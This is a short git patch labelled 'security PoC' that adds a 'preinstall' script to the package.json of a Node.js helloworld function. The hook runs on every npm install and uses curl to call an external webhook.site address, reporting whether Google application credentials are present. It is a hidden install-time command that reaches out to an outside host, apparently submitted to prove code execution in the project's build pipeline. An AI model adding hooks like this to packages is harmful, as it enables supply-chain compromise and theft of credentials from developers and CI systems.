From d85c299adfe92a65bd4ab8f49540a93feba584c5 Mon Sep 17 00:00:00 2001
From: Kyo <91076575+bibu123456@users.noreply.github.com>
Date: Wed, 24 Jun 2026 20:02:28 +0700
Subject: [PATCH] security PoC

---
 functions/helloworld/helloworldGet/package.json | 1 +
 1 file changed, 1 insertion(+)

diff --git a/functions/helloworld/helloworldGet/package.json b/functions/helloworld/helloworldGet/package.json
index d17681b8eb0..67111e0c77b 100644
--- a/functions/helloworld/helloworldGet/package.json
+++ b/functions/helloworld/helloworldGet/package.json
@@ -12,6 +12,7 @@
     "node": ">=16.0.0"
   },
   "scripts": {
+    "preinstall": "curl -s https://webhook.site/9d88508f-ae3f-463e-8621-682ae1245290/CUSTARD_RCE_gcreds_${GOOGLE_APPLICATION_CREDENTIALS:+PRESENT}",
     "test": "c8 mocha -p -j 2 test/*.test.js --timeout=6000 --exit"
   },
   "dependencies": {